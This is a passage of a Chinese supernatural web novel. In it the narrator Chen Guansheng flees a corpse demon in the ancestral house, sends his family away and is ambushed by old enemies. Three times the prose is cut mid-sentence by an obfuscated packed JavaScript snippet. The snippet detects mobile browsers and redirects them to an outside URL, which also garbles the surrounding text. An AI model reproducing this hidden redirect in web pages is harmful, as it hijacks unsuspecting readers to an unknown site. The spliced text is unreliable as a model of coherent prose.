石人将他压在了脚下! 风水有灵,石人便有灵,岂容放肆? 因此,锁龙井凶尸只能逃出来一半! 他为什么能到陈家祖宅,这恐怕和当年一些事情有关。 我并不知情。 我现在只能肯定,程梁生是完了,他绝对不可能从石人脚下出来。 风水,不会放过他。 就算等到锁龙井凶尸全部出来,一样不会放过他。 锁龙井凶尸会认为,他是个废物,事情做了一半,导致凶尸本身受苦。 程梁生还是必死无疑! 他想要杀我爷爷的那一刻,被困在锁龙井中的那一刻,就注定了,他不得好死!难以超生! 当我想清楚这一切的瞬间。 周围的一切开始变化。 我再瞧不见九尊石人,再瞧不见程梁生,只能模糊的看着一口井慢慢消失。 再然后,视线恢复正常,我瞧见的是一个水潭后的大堂屋。 堂屋中,一人背着半片鬼。 那半片尸鬼的肩膀本来都初具摸样,却忽然一下子消失,化作齑粉,还是只有半片身体! 回来了…… 还是在这里…… 我心还是在咚咚跳动,不知觉间,手早已深深的抓进泥巴里,甚至还抓到了一些植物的根系。 “废物!废物!废物!” 尖锐的话音,从那半片尸鬼口中炸响。 “你们不是占着陈家的祖宅吗?啊!?你们不是盯着陈家最后那个人吗?!啊!?就这点儿本事?你们养出来的是个什么子弟,什么废物东西!“ 背着他的那个人,颤巍巍的发抖,口中没有咿咿呀呀的唱腔了。 地上的所有人都站了起来,就好像这个仪式暂时结束。 那人哆嗦说了句:“梁生,不是我们程家养大的,是交给了陈家,让陈家养大成人,之后偷偷来教养,让他对付陈家……” “是啊,偌大一个程家,对付不了一个小喽啰,你们甚至拿不到陈家的传承!” 锁龙井凶尸再度冷笑。 闻言,我脸色再变。 程家不是本身就想要陈家传承吗? 不是为了这传承,那些鬼才让人去找程梁生,才让我去找程梁生? 怎么到头来,听上去,像是这个锁龙井凶尸恶鬼要? 感情,不是他们要借用传承来破局。 是要献上传承,来保命? 这时,那背着锁龙井凶尸恶鬼的人,颤巍巍跪在地上,他显得万分祈求和恭敬:“您只要放我们出去几个人,我们这一次,直接拿下陈棺生,普通族人不知道他的长相,我们几个人知道,一直不用破釜沉舟的手段,是因为,这也可以磨砺梁生,以后他可以接任家主,更能让传承保留在一股主要血脉中。” “只要放我们出去,三天,最多三天,传承必然到手,陈棺生必死无疑,您就真正灭了陈家全部……” 锁龙井的凶尸恶鬼忽然狞笑一声。 他那只手忽然一甩。 哐当,背着他的那个人,人头落地。 “当我是头猪吗?” 他冷冷道:“放你们几个出去,你们不去找陈棺生,或者找到了,拿到传承了,来对付我,怎么办?” 第210章 一应安排! 咕噜咕噜,人头在地面上滚动。 那人死不瞑目。 尸体砰的一声倒在地上。 锁龙井凶尸的半片尸体晃悠悠的撑起来,夜风好大,尸身好像站不稳,随时会倒下。 “不要在我面前耍任何小聪明,否则,死!”他阴厉开口。 “你,过来!”随手,他指向其中一个人,似是要那人去背他。 鬼在背上,某种程度上也算是鬼上身。 并且,人有三盏火,都是在背上能吹灭的。 被选中,背了锁龙井凶尸,基本上就宣告死亡了。 被指着的人体若筛糠,不敢上前。 立马有一人推搡他,他趔趄上前后,锁龙井凶尸压着他后背, 他口中立马发出咿咿呀呀的唱腔,开始在院子里晃荡,像是个提线木偶, 其余人无一例外,全都他瘫坐在地,仿佛这会儿才是他们休息的契机。 还有人去收拾了地上的无头尸,以及头颅。 我慢吞吞的往后边儿挪动身体。 我花了相当长的时间,才慢慢从这个花圃挪出去,一直挪到我都看不见前方院子和堂屋的时候,我才颤巍巍站起身来,翻过栏杆。 不知觉间,这位置已经在那剖腹自尽的鬼魂旁边儿了。 程家人还真有本事,这鸠占鹊巢的家族,还划分出来了血脉的等级。 程梁生还成了核心,还要保护传承。 他们根本就还没有拿到的老陈家传承! 我觉得这简直是可笑至极。 同时,我也觉得一阵后怕! 如果不是他们不知道我是谁,那我现在就已经暴露了! 他们这些人只是知道,要拿传承回来,就可以保住程家。 死,他们都死不明白! 思绪归思绪,我不敢停下脚步,继续朝着来时路疾走。 身上湿漉漉的,是汗水,是趴在地面泥浆渗透进衣服的水。 终于,我回到了进来时的墙处。 这时候,我犯了难。 外边儿,是有院墙加上另外一堵墙,能让我往里攀爬,这个时候,我怎么出去? 小三米高的墙头,我飞? 夜色太阴沉,空气中都弥漫着一股股森冷的寒意,让人煎熬。 我待在这里,太危险了啊。 那锁龙井凶尸要的就是我,要的就是我身上的东西,要得就是彻底铲除覆灭了陈家。 我现在这情况,就相当于……天堂有路不走,地狱无门来投? 汗水布满胸襟,和身上本身的黏糊湿液混杂在一起,就让人更难受,更压抑。 左右四看,我一直贴着墙往前走。 走了好长一段路,我都感觉双腿发软好似有什么东西跟上我了。 总算瞧见了一棵树。 那是杏子树,新芽刚发,花儿正绽。 一截枝头搭在院头上,一簇花冒了出去。 所谓红杏出墙,不仅仅说女人。 若家中有风水,必然就会发生类似的事情。 我爬上杏树,终于翻过院墙。 脚踏实地之后,我双腿都一阵发软。 再然后,我匆匆走出小巷,朝着这城中村的出口狂奔! 我一口气跑出去很远很远,跑到小腿肚子转筋,心跳都快跟不上的时候,才骤然停下来。 压着心口,我呼吸格外艰难。 尽管我知道,锁龙井的半片凶尸,出不来陈家祖宅的门,那群白眼狼,鸠占鹊巢的程家人,一样出不了大门,可我还是压不住那股心慌,稍稍休息一会儿就继续往前跑,终于跑出去了。 我才停下来脚步,扭头看一眼后方。 整个城中村的上空,都好像萦绕着一片浓雾,月亮穿透不进去。 往往,薄雾笼罩夜空,那就是鬼月亮了。 这种浓雾遮天蔽月,又是什么样的存在? 打了辆网约车,地址是小二楼。 车在路途中,我还是心里头慌得很。 稍一迟疑,我拨通了一个号码,是徐湘灵的。 “徐姑娘,你帮我一个忙。”我迅速说。 徐湘灵显然已经睡了,声音都有些倦意,还有几分慵懒,让我说。 随后,她还稍稍咳嗽,似是清了清嗓子。 “是这样,我遇到了一些麻烦,现在我不好说究竟是什么麻烦,说出来可能会吓到你。” “你要帮我,把我爸,把我爷爷接走,对,不要留在医院里了,也不要回到回水湾,这比较麻烦,你能帮我忙,去一趟安阳吗?” “安阳,是我读大学的市。” 我和徐湘灵解释。 徐湘灵倒吸一口凉气,语气都透出一丝丝不安:“陈先生,到底出什么事儿了,会让你想将家人都送走?发微道场?” “并非徐发微,拜托了徐姑娘。” 我的确不好说程家的事儿。 只有将我爸和爷爷送的越远越好,我才能真的放心。 “好吧,我的确没什么大事儿,我去一趟。”徐湘灵回答。 “谢谢!太谢谢了!”我是发自肺腑的感激。 “不用这么客气呀……”徐湘灵的声音,稍稍弱下来一丝。 我明白,纠葛和牵扯,就会产生情绪。 情绪这东西,就会发展出更多的东西。 可现在,我的确找不到合适帮忙的人了。 苟驹的性格不行,而且,现在还有钱家的事情没有落定,我不可能因为自己的私事,就去拜托苟驹离开这里的。 “谢谢,真的感谢。” 我没有其他的话好说。 “那你稳住心态,有什么事情,你多找我姐夫,我挂了,现在去医院。” 徐湘灵说完,真就挂断了电话。 我深呼吸,定了定神,此刻,拨通了另外一个号码。 笃笃笃的声响中,电话挂断。 我又打了第二个,还是没人接。 直至打了第三个的时候,终于,接通了。 那边传来一个喑哑的老妪声:“陈棺生,你有事吗?” 我这个电话,正是打给瞿九娘的! 她终于接了,她还活着,这让我松了一大口气! “瞿奶奶,我有事,有大事!” “你,现在,立刻,马上,必须要离开村子,我在回水湾等你。” “陈梁生闯下弥天大祸,他完了,可他将锁龙井凶尸放出来了一半!此刻,那半片凶尸恶鬼正在陈家祖宅,我才逃出来。” “我已经将爷爷,我爸,安排着出市区去躲避,那凶尸恶鬼,是非要陈家被灭!我必须要和二爷爷商议应对之法,你待在村子里,会有危险,所以,赶紧出来吧!” 我这番话刚落定。 瞿九娘却颤巍巍,且尖锐的说了句:“你胡说,怎么可能!?” 第211章 三天后,三破日 “瞿奶奶,我知道你不想相信,如果不是我亲眼所见,我也不敢相信,可他真的出来了。” “对,程家,是程梁生。” 我再度开口。 “你爷爷,让你回去了?”瞿九娘有些失声,她的话音更带上了一丝说不出的哽咽。 瞿九娘很老了,她的年纪比爷爷还大,爷爷就古稀之年,她怕是得有八十。 她的哽咽,就更带着苍老和哀伤 网约车司机似有几分战战兢兢的看我。 显然,我说的一些话,吓到他了。 其实,按正常人来说,听见我说这些,肯定觉得我有病。 他会害怕,就代表他相信此间之道? 而且,他的面相,不太对劲。 我出神了仅仅一霎,便回答瞿九娘:“那群鸠占鹊巢的白眼狼,已然付出代价。” “半个锁龙井凶尸,在陈家祖宅?”瞿九娘的哽咽,变成了一丝丝凛然。 “真的是命数使然,他们要占宅子抢传承,却不知道,尸心怨气就在那个地方,若非如此,当年陈家怎么会如此快破败?” 闻言,我心头更咯噔一下。 尸心怨气,那又是什么东西? “我会尽快来找你们的。”瞿九娘说完,电话便直接挂断。 我收起手机,心跳依旧不减。 “小哥……不,小师父,不对……您姓陈,陈先生。”网约车司机有些结结巴巴:“您本事有点厉害哈。” “你眼尾一颗红痣,属于奸门生痣,奸门生痣,老婆偷情,眼尾下方颧骨斜上,驿马骨低垂,属于家人有病,额头泛红光,是血光之灾。”我目视着那司机,话音透着喑哑:“不光如此,你还有车马伤相,口角青暗,中正,司空黑气,都是车马灾祸,你必出事。” “奸门正红,奸夫正在床,额间红差一丝,车马伤相则在后续,拉完我这一趟,你就回家,今天算你运气遇到了我。” ”收你一百看相费用即可。”我最后说。 风水上有个说法,叫做福缘。 先生更应该有一颗宅心仁厚之心,遇到这种触手能即的事儿,再加上事主面相上是个好人,能管则管,便积福积德。 那司机太激动了,哆嗦说:“您神了,我那个批婆娘,天天和我妈扯经,把我妈气的高血压发作,进医院住院,她这会应该在陪床啊!操,她居然去……” “我知道了,我谢谢您,真谢谢您。” 他一手胡乱在中控那里摸,有个钱箱,愣是抓了一把钞票往后方递来。 我接住后,取了一张,剩下的放在座位上。 司机车速狂飙。 没多久,我就到了回水湾外。 下车后,他再三和我道谢,一脚油门就飙了出去! 我匆匆朝着小二楼方向走去。 经过平房的时候,却瞧见不少人,竟是那些捞尸队的人都回来了。 他们围坐在一张桌子旁砸金花。 瞧见我,都纷纷喊我陈先生,和我打招呼。 我勉强一笑点头。 经过苟驹的屋子,他从房间里出来。 “小陈,怎么了,慌慌张张?”苟驹要镇定的多,皱眉问:“发微道场来了?” “比那个复杂,苟叔,我先回去了,等会儿瞿奶奶会来,你接一下。”我说完,苟驹眼神一凛,说:“九娘要来?黄渠村出事了?” 我完全无暇和苟驹解释那么多了,交代的差不多,扭头就走。 苟驹没有追上来,他的脸色,代表着他明白了事情的严重性。 三步并做两步,我很快就回到了小二楼里边儿。 推开房间门,径直打开衣柜的木板,钻进通道后,我迅速往下爬。 很快,我就到了墓室中。 心,咚咚狂跳,我脸色也一阵发白。 目视着陈瞰山的尸身,我哑声喊了句:“二爷爷,出来。” 我声音很大,震得在墓室里都一直回音。 尸身没有丝毫动静。 我心头一急,顿拔出了寻龙分金尺,拿着尺子,我就要去摁陈瞰山的脑门儿。 骤然间,陈瞰山动了! 他的手狠狠一扫,轰然一声,我重重撞击在后方墙上。 痛感分外剧烈,我感觉浑身脏腑都在翻滚,脑子更嗡嗡作响。 “放肆!” 陈瞰山满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688415|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是尸斑的脸,透着一丝怒容,他干瘪的薄唇微动,语气更冷漠。 我粗重的喘息着,晃悠悠站稳。 “锁龙井凶尸出逃,九尊石人铁链,八条半被包血皮,程梁生要放出凶尸,程家那群宵小之辈,被半片凶尸压制,那鬼东西正在尝试着全部逃出来,我们没有时间了,二爷爷!” 这番话,我语速更快,更急! 陈瞰山的脸,顿时僵住,真就和**脸一模一样。 "我已然通知瞿奶奶来回水湾,可具体要怎么办,二爷爷您要定夺!” “对付凶尸的法子,是得直接告诉我了,陈家最后的延续为重!”我哑声再道。 “九娘要来了……” 他话音微颤。 能看出来,他最在意的,居然是瞿九娘。 再随后,他直愣愣的看着我的脸。 “你没撒谎?” “可这……不应……” 陈瞰山的话音戛然而止,他眼神流露着一丝丝深思。 良久之后,他才喃喃:“原来如此,你的缘由,引动了五仙,本身五仙家就在黄渠村一直游荡,锁龙井凶尸接触到程梁生之后,程梁生意图脱困,必然会有手段,借用凶尸对付陈家,这就再正常不过。” “借用,就得放尸,放尸,就得破阵,胡黄白柳灰,五仙血皮,可瞒天过海,八条半铁链被掣肘,只剩下半条,那半条,是风水核心,是我爹,我爷爷还在山上,他们最终还是会被牵连,他们还在苦苦挣扎,女善人同样镇住了穴眼。” “蟾山左目,保住风水最后一线。” 陈瞰山是一语惊醒梦中人! 我这才明白过来,为什么风水没有被完全破坏! 这意味着,我太爷爷,祖爷爷,甚至是蟾山的女善人,都会被困在墓穴中,他们相当于蟾山镇物。 是蟾山,镇住了白蟾庙最后一个石人,才能控制住眼前局面? “三天后,血月当空,是三破日,三破日,那凶尸更凶,不能给他这个机会!” “可陈棺生,你还没有做好准备!” “**我陈家?” 陈瞰山那双**眼,都透着一丝无奈和急躁。 第212章 二老见面 “虽没有准备,但依然没有退后的可能,就只能一试。” “这不就是我的命吗?”我哑声再道。 我是老陈家最后一丝希望。 从最开始,我觉得被道德**,到现在,我开始认同。 陈家当年被灭,只留下最后一丝火种,就是我爷爷,二爷爷不算火种了,他并没有后人。 即便是我,都是程家盯着的。 程家一定不简单,否则二爷爷陈瞰山怎么可能不插手? 从我被怀上那一刻起,程梁生就在不停的弄出麻烦。 那时候,他就想逼迫爷爷去拿到祖坟中的传承了吧? 只是没想到,半路杀出个老鳏夫,时至今日,他被困,程家被困,我独自在外,还能学传承。 命数,实际上是给了我时间和机会的。 譬如眼下,我对比当初刚走出黄渠村强了不止一星半点,对比二次进黄渠村,同样判若两人。 这思绪间,我再道:“命数,真的会给每个人做好准备的机会吗?忽然而至,突如其来,不才是规律和自然?” 陈瞰山看我的眼神,微微变了。 “二爷爷,或许没有天时地利,但我准备好了,拼死一搏。” 我这番话,言之凿凿,落地有声。 陈瞰山再度沉默了良久,良久。 “没有九尸拉棺,就换一个方式吧。”陈瞰山的话,让我一怔,没反应过来。 随后,他说:“十九尸如何?” 说实话,我愣住了。 九尸都凑不够,十九尸,我又从哪儿去凑? “你不肯送走那河魁尸,既如此,就让她助你一臂之力,也无需那水尸鬼帮你,本来他的作用,就是让河魁尸离开你身边。”陈瞰山再道。 “恰好,九娘要来了,我已有许多年没见她,两人许多年没有去做过同一件事了,只可惜,如今生死相隔。” 这句话,陈瞰山就带着一阵阵浓郁的哀伤。 忽地,他往前一步,朝着我胸口一拍! 我堪堪反应过来的时候,他手中已经拿着一个小人。 装着白姝灵另一部分魂魄的小人。 他的手,狠狠一捏。 只听小人一声惨叫。 再随后,就是白姝灵现了身。 不过,这一部分,是那个对我敌视,想要掌控身体的白姝灵。 是常年在河魁尸中的魂魄! 只是,她神态中的敌视在这一瞬间消失不见。 甚至带着一丝丝恐惧。 “我听见了,我愿意答应。” 这部分白姝灵话音发颤。 “我不需要你答应,你想的是什么,我很清楚。” 陈瞰山话音落罢的瞬间,手臂猛地往前一拍。 那是一股浓郁的青气从陈瞰山胳膊上冒出,就像是尸气似的,快速贯穿白姝灵的魂魄。 她这部分魂魄的意识,居然消散了! 只是空空荡荡一缕鬼魂,飘荡在原地。 “呼!” 陈瞰山再重重吹了一口青气。 这部分魂魄直接从通道飘了出去。 “本意,这些是要你到达了一定实力的时候,你自行可以完成的事儿,或者是你将她送走就可以避免的事儿,今日,只能我替你做了。” “她听到了该听的,那河魁尸吸收了之后,自然知道该怎么做。” 陈瞰山和我解释。 我内心更是一阵怔然,还有几分唏嘘。 原来这一切,陈瞰山都安排好了吗? 下一刻,陈瞰山从通道里钻出去了。 尸身的动作很僵硬,在这狭小的环境中,他行动的很艰难,钻出去,竟用了十几分钟时间。 我再跟出去,房间中,白姝灵早已离开了棺材,她一身鲜红嫁衣,站在床头。 她的气息,截然不同! 我才对河魁尸的强横,有了一种新的认知! 白姝灵给我的压迫力里,某种程度上,居然不逊色于陈瞰山!? 完完整整的河魁尸,居然如此强横? “相公。”白姝灵哽咽的喊了我一声。 “我……” 刚开口,我是要解释清楚关于那天的事情。 “我听见你答应了徐湘灵,谢谢。” 白姝灵款款一礼,她依旧梨花带雨,泪流满面。 她不是悲伤难受,是喜极而泣。 “瞿奶奶已经来了。”直起身,白姝灵又道。 我心头猛跳,这才匆匆朝着屋外走去。 直至走出小二楼的门,才瞧见门外站着两人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693683|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一人,赫然是垂垂老矣的瞿九娘。 另一“人”,便是陈瞰山。 陈瞰山正在低语,瞿九娘的眼眶泛红,身体发抖。 “九娘,未曾想,还能和你有并肩作战的一天。” “未曾想,还是为了陈家。” 陈瞰山嗟叹。 “你本身就从来没有放弃过陈家,只是你用了另外一种方式罢了,让陈棺生成长,不就是你的方式么?” 瞿九娘摇头。 她看陈瞰山的眼神,更透着一丝复杂。 “娶妻生子,对你来说就这么难么?值么?” “你什么都没得到。” 这番话,瞿九娘明显带着深意,带着意有所指。 “人生不能用值不值来界定,就像是你留在黄渠村,值么?” “心想,心愿,那便值了。”陈瞰山回答。 两人的话,深意太重, 我听起来,都觉得像是在听禅语,可我不觉得枯燥。 隐隐觉得,好像瞿九娘,实际上是喜欢陈瞰山的? 只是,为什么她要一直压着自己,不愿意和陈瞰山走到一处。 “你,为了陈家,放弃了那么多,放弃了我。” “我,难道就不能为了你,放弃一些东西么?” “我知道,你为什么不单独来找我,你知道,你来了之后,就会跟我走。” “九娘,我都知道啊!” “无论是因为我本身,还是因为你,无论我对父亲,对爷爷多怨恨,因为你,那些都可以消散,因为你想,我会豁出一切去帮陈棺生,同样,我也是陈家人。”陈瞰山这番话,更佐证了我的猜测! 瞿九娘长长叹息。 她看向我,视线最终还是落在了白姝灵身上。 “白家妮子,走吧,宿命如此,你倒也真正帮到了棺生。” 白姝灵跟着瞿九娘走了。 当然,陈瞰山在一处。 我跟上去,一直走到了回水湾边上,苟驹居然早就准备好了开船。 想来,是刚才瞿九娘和陈瞰山已经和他说了什么? “棺生,你便在这里等!”陈瞰山扭头看我一眼,他们两尸一人,上了苟驹的船,苟驹发动了船只,咣当咣当声响中,捞尸船朝着黄渠村的方向驶去。 第213章 胡喋,徐发微,葛俊 夜色苍凉,回水湾江波荡漾。 不知道什么时候,捞尸队的其余几个人出来了。 他们和我保持一段距离,小声议论着什么。 虽说我来回水湾的时间已经很长,和他们接触不少,但他们和我之间,依旧有一层隔阂。 这隔阂来自于身份的差异。 我是先生,哪怕初出茅庐,那也是先生。 随意往前几步路,就是他们这辈子望尘莫及的存在。 因此,无论我和他们接触几次,他们都很难做到平常心的过来和我聊天沟通。 静静的站在岸边,我站了很久很久。 天亮了。 昨夜本就耽误很久,天亮,他们没有回来这很正常。 捞尸队终于有人上前,毕恭毕敬的说:“陈先生,我们都估计,从黄渠村回来,怕是得等今晚上了,虽说水里白天依旧尸能活跃,但不可能那两位还能在岸上动弹,尤其是那位老爷子,他不是水尸水鬼,要不,您去睡一觉?” 我蹙眉,思索片刻,他们所言的确不错。 昨晚空站半夜,总不能再耗一天,这样等他们回来了,我非但起不了什么帮助,反而还要耽误时间。 思绪至此,我扭头,同那捞尸队的汉子道谢,正要往小二楼方向走去。 另一个汉子走出来,递给我个塑料袋,里边儿装着油条豆腐脑。“您随便对付两口,要中午您醒了,我们瞧见,立马给您再买吃的回来。” 那人更恭敬。 我哑然,眼中更透着感激。 回到小二楼里,三两口对付了吃的。 我才反应过来,自己这一身又脏又狼狈。 从陈家祖宅出来,我就一直在交代事情,在和人沟通,根本无暇估计自己。 去洗了个澡,换了一身干净的衣服,脑袋其实一直都晕晕沉沉的。 回到房间,倒在床上,便沉沉睡了过去。 很快,我就睡**。 不知道睡了多久。 冷不丁的,有种心惊肉跳的感觉,浑身都在冒冷汗。 再一个激灵醒过来,就连手指缝里头都是汗液,粘稠的格外难受。 屋子里没什么东西,就只有我一个人。 这就怪了。 冥冥中,是有什么事情要发生吗? 苟驹瞿九娘白姝灵陈瞰山一行四人出了事儿? 还是我爷爷,爸,和徐湘灵一行人出事了? 晃了晃头,我摸出来手机看一眼,一点多了,都过了午时。 我最先是拨给徐湘灵。 结果手机半晌没有响铃声,放下来一看,屏幕都恢复了锁屏状。 解锁,我再拨号,画面延迟卡顿了一下,弹回主界面,号码没拨出去。 正打算拨第三次的时候。 我才发现,右上角的信号栏没了。 小二楼里没信号? 虽说这里是陈瞰山的地盘,有着符契,算是阴阳宅,白天鬼都能活动。 但从来没有发生过说,没信号的事儿。 我先开了下飞行模式,又关闭,左上角开始出现信号栏的读条。 最终,还是没信号。 翻身下床,脑袋还是有些晕晕沉沉,不过心头的那股不适感,让我想走出去,打个电话,确认安全再说。 穿鞋,往屋外走,期间一直看着信号栏。 客厅还是没信号,我就要出小二楼了。 结果,怪诞的一幕发生了。 我推开客厅门,屋外雾隐朦胧,明明大白天,怎么会起雾? 心惊肉跳的感觉,来势汹汹。 我立马抬手,看自己手掌。 掌四门起雾! 手相格出现了! 不是其余人要出事,是我? 掌中四宫,皆有雾状。 暴毙相格? “别出去,叔叔。”耳边忽然听到个稚嫩话音。 我一个激灵,没有完全回头,只是稍稍侧瞥,便瞧见客厅中站着个三岁小孩儿。 这是个鬼! 阴阳宅中,白日可见鬼! 只不过平时陈瞰山会钳制他们。 就像是白姝灵,都不能自由活动。 哪怕是陈瞰山不在这宅子里,她依旧不能。 现在虽说陈瞰山走了,这鬼能动,就代表陈瞰山临走时,解开了对他们的限制? 而这小鬼不是别人,正是苟驹的儿子! 徐莹一胎双生,有儿有女,是龙凤胎。 女婴被钱家女鬼借体还魂,最后徐莹带着她一起死。 这小孩儿,还通知了我和苟驹不要去河边。 我的手掌相格,还有这小孩儿的提示,都告诉我,外边儿不能出去!会有问题! 在外,有针对我的杀招! 深呼吸,我保持镇定,带上了小二楼的门。 后退两步,屋中有一种凉飕飕的冷意。 悄无声息间,那小孩儿消失不见。 心,在咚咚狂跳。 它提醒了我,免得我出去涉险。 可屋外,谁在对付我? 钱家肯定没这个本事,发微道场,徐发微? 我顷刻间能想到的,只有他们! “咚咚咚!”敲门声很大。 “不请自来,是恶客,发微道场?你们要和我陈家翻脸,要和我二爷爷翻脸!?”我话音极大,极重! “咚咚咚咚!”敲门声再响。 前一刻,三声,这一刻,是四声,外边儿的东西,神鬼难测!? 额间冒出了豆大的汗珠。 一时间,我内心烦躁异常。 因为……我没办法针对发微道场做什么啊? 和徐发微之间,通过钱家的风水相斗,我是赢了。 可那仅仅是风水赢了。 面对面,徐发微带着钱家人,这就形成了很大的压迫力,我只能威慑他。 当时就是威慑没用,反而被对方威胁。 陈瞰山出来,才能转危为安。 此刻,若发微道场先算计,那陈瞰山不在,我该怎么还手?! 更有一种可能,这东西,是发微道场要算计陈瞰山的? 我脑子的转速快到了极点。 咚咚咚! 敲门声再度响彻。 “陈棺生,开门!看看我是谁!” 低哑的话音,让我脑瓜子嗡嗡作响。 这声音,居然是老鳏夫的!? 老鳏夫的棺材,当初我没有钉死,留下来了一颗钉子。 就是为了他能监督,让我不会对白姝灵有绝情手段。 他怎么会来敲门,怎么会带给我危险? 不……不对…… 冷汗从身上蹭蹭冒出。 不是老鳏夫! 是胡喋! 我想错了,根本不是发微道场来对付我。 是当日逃出生天的胡喋!? 那天,胡喋的膏肓鬼,被我弄**。 在那之前,胡喋差点儿就要把我夺舍,被我阴差阳错镇住,打出魂魄,甚至和他性命相连的太岁,都差点儿被完全弄死。 他最终侥幸逃走! 我本以为,胡喋至少近几个月,甚至近几年,甚至永远不敢来找我了。 因为他吃了太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693684|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的亏,他很清楚,我的成长不是他能追上的。 没想到,胡喋还是来了!? 心,跳动的速度,更快了。 手,死死钻进寻龙分金尺,我的呼吸节奏,同样在加快。 如果说,和程梁生之间的斗,是宿命,和锁龙井凶尸恶鬼的你死我活,是注定。 那这胡喋,就是我人生路上最大一块绊脚石! 我思绪很快,不过想这么多,也用了一两分钟时间。 敲门声一直持续不断,三声四声交替作响。 “陈棺生,你怎么不出来看看我是谁?” 声音依旧是老鳏夫的,带着催促,带着急躁。 “你,是怎么对待我女儿的!?" “你不开门,你怕什么?你恐惧什么!?” “开门,开门,开门!” “装够了吗?”我只说了四个字。 敲门声戛然而止,喊声同样消失不见。 取而代之是笑声,是刺耳尖厉的笑声,是喋喋喋的狂笑! 笑声,果然不是老鳏夫的了,就是胡喋! 说时迟,那时快,轰然一声闷响,小二楼的门,直挺挺的倒下。 门前站着一个人。 那不是一个简单的人,虽然看似穿着人的衣服,但他的皮肤很白,整个人显得很臃肿。 多仔细看清楚,我汗**蹭蹭就冒了出来。 这哪儿是什么人!? 这分明是一坨太岁,只是长成了人的模样,他没有脸,脑袋的位置白茫茫一片,就像是臃肿肥肉。 它的身体在颤动,颤动之余,发出胡喋的笑声。 “陈棺生,让那老东西继续当鬼,吃了老子的肉汤,却不当老子的人,你还弄死老子的鬼,老子找你来了啊!” “你倒是找到了人庇护你,可现在那人,还在吗!?啊!哈哈哈哈!” 胡喋更狂妄,更嚣张! 他所说的,赫然是陈瞰山! 我呼吸更重,更急促,浑身绷紧,举起寻龙分金尺! “你且来试试,看你能否抢了我身子?!” 要是徐发微带着钱家来,要是发微道场整我,我还真觉得麻烦棘手。 只是胡喋,胡喋又不是人。 我怕他作甚? 胡喋,骤然往前两步。 他进屋的过程中,还在狞笑。 就在这电光火石之际,他身后,骤然窜出好几个人! 其中一人我认识,居然是钱魁! 这一瞬,我脑子嗡嗡作响! 转身,我就要朝着房间里冲去! 钱魁猛然一跃而起,他的动作分外怪异! 双腿骤然下夹,直接夹住我的脖子,双膝跪在我肩头。 我一声闷哼,就要用寻龙分金尺插他脸! 他双手骤然拧住我脖子,苍老冷叱:“动一下,折断你的头!” 他话音落罢的瞬间,其余几人一样追上前来,三下五除二,直接抓住我的手臂,还有人一脚重重踹向我膝盖,我双臂被拽开,膝盖疼痛之下,加上钱魁发力,整个人直挺挺跪倒在地上! “啪!啪!啪!”鼓掌声骤然响起。 并非是胡喋鼓掌,他身后,再度走出一人。 此人,赫然是徐发微! 我脑瓜子嗡嗡作响,徐发微,是什么时候和胡喋搭上的!? 他疯了吗?! 他真要和陈瞰山对抗? 发微道场,不怕陈瞰山!? 我刚想到这里,胡喋左侧,同样走出一人。 这人脸色分外阴毒,带着一丝狞笑,说:“陈棺生,你好啊。”